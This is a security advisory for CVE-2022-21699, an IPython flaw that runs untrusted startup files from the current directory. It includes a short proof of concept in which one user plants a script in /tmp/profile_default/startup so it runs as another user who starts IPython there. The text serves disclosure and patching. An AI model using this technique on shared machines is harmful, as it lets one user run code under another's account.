CVE-2022-21699

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ``` User2: ``` cd /tmp ipython ``` User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets ``` ## Patched release and documentation See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

IPython (Interactive Python) es un shell de comandos para la computación interactiva en múltiples lenguajes de programación, desarrollado originalmente para el lenguaje de programación Python. Las versiones afectadas están sujetas a una vulnerabilidad de ejecución de código arbitrario conseguida al no administrar apropiadamente los archivos temporales de los usuarios. Esta vulnerabilidad permite a un usuario ejecutar código como otro en la misma máquina. Se recomienda a todos los usuarios que actualicen
